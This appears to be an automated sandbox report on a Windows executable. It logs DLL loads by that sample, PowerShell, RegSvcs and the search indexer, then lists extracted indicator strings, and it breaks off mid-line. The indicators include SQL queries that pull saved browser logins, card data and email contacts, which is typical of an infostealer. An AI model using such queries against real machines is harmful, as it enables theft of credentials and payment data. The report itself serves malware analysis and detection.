00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WINTRUST.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter WINTRUST.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter RichEd20.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorsecimpl.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter WINTRUST.DLL (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\syswow64\CRYPT32.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter imagehlp.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter ncrypt.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\SysWOW64\bcryptprimitives.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-SDDL-L1-1-0.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\cryptnet.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter cryptnet.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter SensApi.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter WINHTTP.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter NSI.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter CFGMGR32.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L1-1-0.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L2-1-0.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-winsvc-L1-1-0.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter profapi.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\SysWOW64\ieframe.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00003968) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Pb378ec07#\731848746c032af3ce33577b793c9b9c\Microsoft.PowerShell.ConsoleH (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Manaa57fc8cc#\a68aa6199c81feadf8c95a4ea0254b2c\System.Management.Automation. (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automatio (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter MSISIP.DLL (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\syswow64\CRYPT32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\SysWOW64\wshext.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\SysWOW64\WindowsPowerShell\v1.0\pwrshsip.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Data\df2dd09ed7c341842a104e1e668f184e\System.Data.ni.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Management\e114780fd3ea5727401c06ea4f22ef35\System.Management.ni.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Dired13b18a9#\2e76676fbd265f70be92c82bbf76b8e5\System.DirectoryServices.ni.d (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.P6f792626#\fbf36f7901fec6a367af3bc05a96b929\Microsoft.PowerShell.Security (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Transactions\3d760b4a3260a41ef84a3fd866780980\System.Transactions.ni.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\e3134541fd9904dc895922f5256ef8f3\Microsoft.Management.Infrastr (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Numerics\e7d6ed984300c7212c6e682c4f730b1e\System.Numerics.ni.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.CSharp\f73f48afb5512225dedaee9c88ac5050\Microsoft.CSharp.ni.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter WINTRUST.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Pae3498d9#\ade0afceac1317e3668a9c8086d8d18b\Microsoft.PowerShell.Commands (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Confe64a9051#\1561b93d6d25c4a9c3e2659ab29a5e73\System.Configuration.Install. (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.M870d558a#\7ceb6b903321c16b12386a8df1be50f9\Microsoft.Management.Infrastr (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter ncrypt.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\SysWOW64\bcryptprimitives.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter WINTRUST.DLL (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-SDDL-L1-1-0.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\cryptnet.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter cryptnet.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter profapi.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter SensApi.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L1-1-0.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-winsvc-L1-1-0.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00001268) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00001268) "RegSvcs.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter MPR.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter OLEAUT32.DLL (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter SXS.DLL (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter gdi32 (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter %PUBLIC%\Libraries\vbsqlite3.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter winsqlite3.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00004636) "RegSvcs.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00004636) "SearchIndexer.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\msfte.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\msTracer.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter Msidle.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter kbdus.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter POWRPROF.DLL (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-winsvc-L1-1-0.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter tquery.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-SDDL-L1-1-0.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-us\tQuery.dll.mui (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\tQuery.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter mssrch.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter VSSAPI.DLL (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter vsstrace.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter CFGMGR32.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter WTSAPI32.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter WINSTA.dll (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter SXS.DLL (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter OLEAUT32 (UID: 00000000-00004520) "SearchIndexer.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00004520) "SearchProtocolHost.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\msfte.dll (UID: 00000000-00000412) "SearchProtocolHost.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\msTracer.dll (UID: 00000000-00000412) "SearchProtocolHost.exe" called "LoadLibrary" with a parameter Msidle.dll (UID: 00000000-00000412)52:T7b6,"SELECT address FROM ConversationRecipients" (Source: 36163-23-004696D0, Indicator: "select address from conversationrecipients") "SELECT address FROM ConversationSenders" (Source: 36163-23-004696D0, Indicator: "select address from conversationsenders") "SELECT Email FROM LocalContact" (Source: 36163-44-004684D0, Indicator: "select email from localcontact") "SELECT c1, c2, c3 FROM Search_content" (Source: 36163-44-004684D0, Indicator: "select c1, c2, c3 from search_content") "SELECT value FROM identities" (Source: 36163-48-00467760, Indicator: "select value from identities") "SELECT c3author, c4recipients FROM messagesText_content" (Source: 36163-48-00467760, Indicator: "select c3author, c4recipients from messagestext_content") "SELECT * FROM Win32_OperatingSystem" (Source: 36163-82-0045D260, Indicator: "select * from win32_operatingsystem") "SELECT origin_url, username_value, password_value FROM logins" (Source: 36163-88-0044AF30, Indicator: "select origin_url, username_value, password_value from logins") "SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted 